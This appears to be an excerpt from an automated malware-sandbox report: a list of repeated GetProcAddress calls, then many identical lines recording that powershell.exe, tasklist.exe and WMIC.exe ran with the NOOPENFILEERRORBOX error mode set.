Code function: 0_2_00007FF633D65830 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF633D65830

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
